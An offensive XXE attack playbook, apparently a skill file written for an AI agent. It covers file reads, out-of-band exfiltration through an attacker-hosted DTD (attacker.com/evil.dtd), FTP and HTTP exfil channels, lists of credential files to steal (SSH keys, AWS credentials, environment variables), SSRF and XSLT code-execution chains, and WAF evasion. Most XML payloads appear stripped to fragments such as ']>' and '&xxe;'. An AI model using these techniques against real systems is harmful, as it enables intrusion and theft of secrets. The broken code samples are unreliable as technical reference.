---
name: xxe-xml-external-entity
description: >-
XXE playbook. Use when XML, SVG, OOXML, SOAP, or parser-driven imports may resolve external entities, files, or internal network resources.
---
# SKILL: XML External Entity Injection (XXE) — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert XXE techniques. Covers all injection contexts (SOAP, REST JSON→XML parsers, Office files, SVG), OOB exfiltration (critical when direct read fails), blind XXE detection, and XXE-to-SSRF chain. Base models often miss OOB and non-XML context XXE. For real-world CVE chains, Office docx XXE step-by-step, PHP expect:// RCE, and Solr XXE+RCE, load the companion [SCENARIOS.md](./SCENARIOS.md).
## 0. RELATED ROUTING
Also load:
- [upload insecure files](../upload-insecure-files/SKILL.md) when XXE is reachable through SVG, OOXML, import, or preview pipelines
### Extended Scenarios
Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
- Apache Solr XXE + RCE chain (CVE-2017-12629) — XXE to read config, then VelocityResponseWriter for RCE
- Office docx XXE step-by-step — unzip → inject DOCTYPE into `word/document.xml` or `[Content_Types].xml` → repackage → upload
- DOCTYPE-based blind SSRF — `PUBLIC` external DTD reference triggers HTTP callback without entity reflection
- PHP `expect://` protocol via XXE — direct command execution when expect extension is installed
- Blind XXE via error messages — force file path error that leaks content in exception text
- XXE in SOAP web services — inject entities into SOAP Envelope/Body elements
---
## 1. CLASSIC XXE PAYLOAD
```xml
]>
&xxe;
```
If `/etc/passwd` reflects in response → confirmed file read.
---
## 2. ATTACK SURFACE DISCOVERY
### Direct XML Inputs
- SOAP endpoints (`text/xml`, `application/soap+xml`)
- REST APIs accepting `application/xml`
- File upload: `.xlsx`, `.docx`, `.pptx` (Office Open XML)
- SVG uploads (SVG is XML)
- RSS/Atom feed parsers
- Web services with XML config import
### Non-Obvious XML Processing
Change `Content-Type` header on **any** JSON POST to:
```
Content-Type: application/xml
```
Then rewrite body as XML — many backends use dual-format parsers or auto-detect.
### PDF Generators
Some HTML→PDF tools (wkhtmltopdf, PrinceXML) execute SSRF via embedded URLs but also parse external entities in SVG/XML included in the HTML.
---
## 3. OOB (OUT-OF-BAND) XXE — CRITICAL
Use when direct entity reflection fails (server parses but doesn't echo entity content):
### Step 1: Blind detection
```xml
]>
&xxe;
```
DNS/HTTP hit to collaborator → confirms XXE (even if no file content returned).
### Step 2: OOB file exfiltration via attacker-hosted DTD
**Attacker's server hosts a malicious DTD** at `http://attacker.com/evil.dtd`:
```xml
">
%exfil;
```
**Payload sent to target**:
```xml
%dtd;
]>
&exfiltrate;
```
File contents appear in attacker's HTTP server request log.
### Step 3: Error-based OOB (alternative when HTTP blocked)
Use intentional error to leak data in error message:
```xml
">
%eval;
%error;
```
---
## 4. XXE FILE READ TARGETS
**Linux**:
```
/etc/passwd
/etc/shadow (requires root)
/etc/hosts
/proc/self/environ ← environment variables (DB creds, API keys)
/proc/self/cmdline ← process command line
/var/log/apache2/access.log ← may contain passwords in URLs
/home/USER/.ssh/id_rsa ← SSH private key
/home/USER/.aws/credentials ← AWS keys
/home/USER/.bash_history
```
**Windows**:
```
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config ← ASP.NET connection strings
C:\xampp\htdocs\wp-config.php ← WordPress DB credentials
C:\Users\Administrator\.ssh\id_rsa
```
---
## 5. SVG XXE (file upload context)
When SVG uploads are accepted and served/processed:
```xml
]>
```
Upload as `.svg` → `GET /uploads/file.svg` → file contents in response.
---
## 6. OFFICE FILE XXE (docx/xlsx/pptx)
Office files are ZIP archives containing XML. Inject into `[Content_Types].xml` or `word/document.xml`:
```bash
# Step 1: extract
unzip original.docx -d extracted/
# Step 2: edit word/document.xml — add malicious DTD
# Add after :
# ]>
# Then use &xxe; inside document text
# Step 3: repackage
cd extracted && zip -r ../malicious.docx .
```
---
## 7. SOAP ENDPOINT XXE
SOAP requests parse XML by definition. Inject external entity into SOAP envelope:
```xml
]>
&xxe;
```
---
## 8. XXE → SSRF CHAIN
XXE external entity can point to internal HTTP endpoints (identical to SSRF):
```xml
]>
&xxe;
```
This combines XXE file read + SSRF into a single payload.
---
## 9. XInclude ATTACK
When server-side processes XInclude (import XML from another source), but you can't control the DOCTYPE:
```xml
```
Works in: Apache Cocoon, Xerces-J, libxml2 with XInclude support enabled.
---
## 10. PROTOCOL HANDLERS IN XXE
```xml
```
---
## 11. BYPASSING DEFENSES
### Parser blocks DOCTYPE
Try XInclude (no DOCTYPE needed, see §9).
### Only allows specific XML schemas
If schema validation occurs: inject comments or CDATA after schema validation but before entity processing.
### Response encoding issues (binary in response)
Use PHP filter for base64:
```xml
```
### Network restrictions on OOB
Use DNS-only OOB via `SYSTEM "file://HASH.attacker.com"` — no HTTP required, DNS lookup leaks data.
---
## 12. QUICK DETECTION CHECKLIST
```
□ Find XML input point (or JSON→XML transformation)
□ Send basic entity: → &xxe; in body → does "test" reflect?
□ If yes → file read: SYSTEM "file:///etc/passwd"
□ If no reflection → OOB test via Collaborator URL
□ If OOB hit → set up attacker DTD for file exfiltration
□ Try SVG upload with XXE
□ Try Content-Type: application/xml on JSON endpoints
□ Try XInclude if DOCTYPE-based fails
```
---
## 13. LOCAL DTD INJECTION (BLIND XXE AMPLIFICATION)
When external entities are blocked but local DTD files exist on the server:
### Technique
```xml
">
%eval;
%error;
'>
%local_dtd;
]>
```
### Common Local DTD Paths
#### Linux
```
/usr/share/yelp/dtd/docbookx.dtd # GNOME Help
/usr/share/xml/fontconfig/fonts.dtd # Fontconfig
/usr/share/sgml/docbook/xml-dtd-*/docbookx.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
/usr/share/struts/struts-config_1_0.dtd # Apache Struts
/usr/share/nmap/nmap.dtd # Nmap
/opt/zaproxy/xml/alert.dtd # OWASP ZAP
```
#### Windows
```
C:\Windows\System32\wbem\xml\cim20.dtd # WMI
C:\Windows\System32\wbem\xml\wmi20.dtd # WMI
C:\Program Files\IBM\WebSphere\*.dtd # WebSphere
C:\Program Files (x86)\Lotus\*.dtd # Lotus Notes
```
#### Inside JAR Files (Java Applications)
```
jar:file:///usr/share/java/tomcat-*.jar!/javax/servlet/resources/web-app_2_3.dtd
jar:file:///opt/wildfly/modules/*.jar!/org/jboss/as/*.dtd
file:///usr/share/java/struts2-core-*.jar!/struts-2.5.dtd
```
### Why This Works
- External connections blocked (firewall/WAF/egress filter)
- But file:// to LOCAL files is usually allowed
- Local DTD is trusted → entity overrides inject attacker-controlled definitions
- Error messages or blind extraction via file:// still works
---
## 14. ADDITIONAL OOB EXFILTRATION CHANNELS
### FTP-based exfiltration (line-by-line)
FTP protocol sends data line-by-line, making it useful for multi-line file exfiltration when HTTP-based OOB truncates at newlines:
```xml
">
%exfil;
%send;
```
Run a rogue FTP server (e.g., `xxeserv` or custom Python) on port 2121 — each line of the file arrives as a separate `RETR` or `CWD` command.
### HTTP parameter exfiltration
```xml
">
%exfil;
%send;
```
Base64 encoding avoids newline/special-character issues in HTTP URL. Decode the `d=` parameter on attacker server.
---
## 15. DTD NESTING TRICKS — PARAMETER ENTITY CHAINING
### Parameter entity within parameter entity
Used to bypass parsers that block direct entity references in entity values:
```xml
%a;
]>
```
The parser expands `%a;` → `%b;` → fetches external DTD. Some WAFs only inspect the first level of entity definitions.
### Triple-nested for filter evasion
```xml
%s2;
">
%s3;
%exfil;
```
Payload sent to target only references `stage1.dtd` — the actual file read happens two DTD fetches deep, evading shallow WAF inspection.
---
## 16. XXE IN NON-OBVIOUS FORMATS
| Format | XML Location | Injection Point |
|--------|-------------|-----------------|
| **SOAP Envelope** | Entire body is XML | Add DOCTYPE before `` |
| **SVG Image** | SVG is XML | `]>` in SVG header |
| **OOXML (.docx)** | `word/document.xml`, `[Content_Types].xml` | Inject DOCTYPE + entity into any XML member |
| **OOXML (.xlsx)** | `xl/sharedStrings.xml`, `xl/worksheets/sheet1.xml` | Entity reference in cell values |
| **RSS/Atom feeds** | Feed body is XML | Inject into feed items if user content is included |
| **SAML assertions** | SAML XML tokens | DOCTYPE injection in `SAMLResponse` parameter (base64-decoded XML) |
| **XMPP** | Protocol messages are XML stanzas | Entity in message body or JID fields |
| **GPX files** | GPS track data in XML | Via file upload endpoints accepting GPX |
| **XHTML** | Strict XHTML is valid XML | DOCTYPE injection in XHTML documents |
### SAML XXE
```xml
]>
&xxe;
```
Re-encode to base64, submit as `SAMLResponse` parameter.
---
## 17. XXE VIA FILE UPLOAD
### SVG upload
```xml
]>
```
Upload as avatar/image → view uploaded SVG → file content rendered as text.
### XLSX (Excel) upload
```bash
# 1. Create minimal .xlsx, unzip it
unzip report.xlsx -d xlsx_tmp/
# 2. Inject into xl/sharedStrings.xml
# Add after XML declaration:
# ]>
# Replace a element content with &xxe;
# 3. Repackage
cd xlsx_tmp && zip -r ../malicious.xlsx .
```
Alternatively inject into `[Content_Types].xml` (parsed first by most OOXML processors).
### DOCX upload
```bash
# Target: word/document.xml
# Same approach: unzip → inject DOCTYPE + entity → repackage
# Alternative: inject into customXml/item1.xml if custom XML parts exist
```
### Processing pipeline attack
Even if the uploaded file is not directly rendered, the server-side parser (Apache POI, python-docx, OpenXML SDK) may process entities during import, triggering OOB exfiltration.
---
## 18. ERROR-BASED XXE
Force the XML parser to generate an error message containing file content:
### Method 1: Non-existent file reference
```xml
">
%eval;
%error;
```
The parser attempts to open `file:///nonexistent/` → error message includes the hostname value.
### Method 2: XML schema validation error
```xml
">
%eval;
%err;
]>
```
The `jar:` protocol handler generates verbose error messages that include the expanded entity value.
### Method 3: Integer overflow / type error
```xml
">
%int;
%trick;
```
Parser tries to open a file path containing the target file content → error message reveals content.
---
## 19. XSLT INJECTION CONNECTION TO XXE
XSLT processors parse XML and can be chained with XXE:
### XSLT file read
```xml
```
### XSLT RCE (processor-dependent)
```xml
```
### XXE → XSLT chain
If the target accepts XML input with a stylesheet reference (``), inject both an external entity and a malicious XSLT to escalate from file read to RCE.